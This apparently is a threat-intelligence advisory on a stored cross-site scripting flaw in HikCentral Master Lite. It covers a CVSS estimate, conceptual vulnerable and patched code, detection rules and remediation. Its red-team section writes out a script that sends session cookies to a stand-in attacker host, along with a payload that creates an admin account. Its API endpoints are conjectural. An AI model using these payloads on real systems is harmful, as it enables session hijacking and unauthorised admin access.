CVE-2024-47486

Executive Summary

CVE-2024-47486 is a stored Cross-Site Scripting (XSS) vulnerability affecting HikCentral Master Lite, a video management and access control platform. An attacker can inject malicious scripts into certain pages by crafting and submitting specially designed data. When other users (including administrators) view the affected page, the injected script executes in their browser context, potentially leading to session hijacking, credential theft, or further compromise of the HikCentral environment. No public proof-of-concept (PoC) or patch details are currently available.

Supply Chain & Package Security

This vulnerability does not affect an open-source package manager (NPM, PyPI, Go, Ruby). It targets a proprietary enterprise software product (HikCentral Master Lite). Supply chain risks are limited to the vendor's update distribution channels.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating that no official CVSS vector has been assigned by the vendor or NVD at this time. Based on the description (XSS, no authentication required for injection, low complexity), a reasonable estimated CVSS v3.1 vector would be:

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Estimated Base Score: 6.1 (Medium)

Breakdown:

• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need to be authenticated.
• User Interaction (UI): Required – The victim must view the compromised page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component (e.g., steal cookies from other origins).
• Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
• Integrity (I): Low – Limited ability to modify data (e.g., defacement).
• Availability (A): None – No direct impact on availability.

Threat Level: Medium. While XSS is a common vulnerability, the lack of authentication requirements and the potential for administrative account compromise elevate the risk.

Deep Dive & Mechanics

The vulnerability resides in how HikCentral Master Lite handles user-supplied data before rendering it on certain web pages. The application fails to properly sanitize or encode input fields (e.g., device names, user descriptions, or custom fields) before storing them in the backend database. When an administrator or operator views a page that displays this stored data, the browser interprets the malicious payload as HTML/JavaScript.

Attack Flow:

1. Reconnaissance: The attacker identifies a HikCentral Master Lite instance (e.g., via Shodan dork title:HikCentral).
2. Injection: The attacker submits a crafted payload (e.g., <script>alert('XSS')</script>) through a publicly accessible form or API endpoint that does not validate input. This could be a device registration form, a user profile update, or a configuration parameter.
3. Storage: The payload is stored in the HikCentral database without sanitization.
4. Trigger: An administrator or other user navigates to a page that retrieves and displays the stored data (e.g., device list, user management panel).
5. Execution: The victim's browser executes the injected script, which can:
   • Steal session cookies (document.cookie).
   • Perform actions on behalf of the victim (e.g., create new admin users).
   • Redirect to a phishing page.
   • Exfiltrate internal network information.

Vulnerable vs. Patched Code

Since no patch or specific version information is available, a generic comparison is provided.

Vulnerable Code (Conceptual - C#/ASP.NET):

// Vulnerable: Directly outputs user input without encoding
protected void Page_Load(object sender, EventArgs e)
{
    string deviceName = Request.QueryString["deviceName"];
    // Assume deviceName is stored in DB and retrieved later
    // On the display page:
    lblDeviceName.Text = deviceName; // No encoding
}

Patched Code (Conceptual):

// Patched: Encodes output using AntiXssEncoder or similar
protected void Page_Load(object sender, EventArgs e)
{
    string deviceName = Request.QueryString["deviceName"];
    // On the display page:
    lblDeviceName.Text = AntiXssEncoder.HtmlEncode(deviceName, true);
}

The key difference is the use of output encoding (e.g., HtmlEncode) to neutralize HTML/JavaScript characters like <, >, ", and &.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable version of HikCentral Master Lite (if available) in an isolated VM.
2. Use Burp Suite or OWASP ZAP to intercept and modify HTTP requests.
3. Identify an input field that is reflected or stored (e.g., "Device Name" during device addition).

Exploitation Steps:

1. Craft Payload: Create a JavaScript payload to steal cookies:

   <script>
   var img = new Image();
   img.src = "http://attacker.com/steal?cookie=" + document.cookie;
   </script>
   

2. Inject Payload: Submit the payload via the vulnerable input field (e.g., POST request to /api/device/add).
3. Trigger: Wait for an administrator to view the device list page.
4. Exfiltrate: The victim's browser sends a request to attacker.com with the session cookie.

Advanced Payload (Session Hijacking):

<script>
fetch('/api/admin/user', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({username: 'attacker', password: 'P@ssw0rd!', role: 'admin'})
}).then(r => console.log('Admin created'));
</script>

Blue Team (Defensive)

Detection & Response:

1. Monitor HTTP Logs: Look for requests containing <script>, onerror=, javascript: in POST parameters.
2. Web Application Firewall (WAF): Deploy rules to block common XSS patterns (e.g., ModSecurity CRS rules 941100-942450).
3. Input Validation: Implement strict server-side validation (whitelist allowed characters) for all user inputs.
4. Output Encoding: Ensure all dynamic content is HTML-encoded before rendering.
5. Content Security Policy (CSP): Deploy a strict CSP header to limit script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

6. Session Security: Use HttpOnly and Secure flags on cookies to prevent JavaScript access.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains containing ?cookie= or similar parameters.
  • Unusual POST requests to /api/ endpoints with HTML/JavaScript in the body.
• Host IOCs:
  • Unexpected entries in HikCentral database tables (e.g., device_name field containing <script> tags).
  • Browser console errors related to CSP violations.
• Log IOCs:
  • Web server logs showing %3Cscript%3E (URL-encoded <script>) in request parameters.
  • Application logs showing failed input validation attempts.

Detection Engineering

YARA Rule

rule Detect_HikCentral_XSS_Payload {
    meta:
        description = "Detects common XSS payloads in HikCentral logs or database dumps"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-47486"
    strings:
        $script_tag = /<script[^>]*>.*?<\/script>/si
        $onerror = /onerror\s*=\s*["']?[^"'\s>]+/si
        $javascript_protocol = /javascript\s*:/si
        $img_onerror = /<img[^>]+onerror\s*=/si
    condition:
        any of them
}

Sigma Rule

title: HikCentral XSS Injection Attempt
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential XSS attempts against HikCentral Master Lite
author: Valters IT
date: 2024/10/27
logsource:
    category: webserver
    product: hikcentral
detection:
    selection:
        c-uri|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
            - 'alert('
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in documentation pages (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-47486 HikCentral XSS Payload Detected";
    flow:to_server,established;
    content:"<script"; http_uri;
    nocase;
    sid:1000001;
    rev:1;
    reference:cve,2024-47486;
    classtype:web-application-attack;
    priority:1;
)

Remediation & Mitigation

1. Vendor Patch: Contact Hikvision support for a patched version of HikCentral Master Lite. Apply the update immediately.
2. Workaround (if no patch):
   • Disable the vulnerable feature (e.g., custom device names) if possible.
   • Implement a reverse proxy with WAF capabilities (e.g., ModSecurity, Cloudflare) to filter XSS payloads.
   • Restrict access to the HikCentral web interface to trusted IP addresses only.
3. Long-term Hardening:
   • Enforce strict input validation (whitelist alphanumeric characters only for device names).
   • Implement output encoding for all user-controlled data.
   • Deploy Content Security Policy (CSP) headers.
   • Regularly audit web application code for XSS vulnerabilities.

Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2024-47486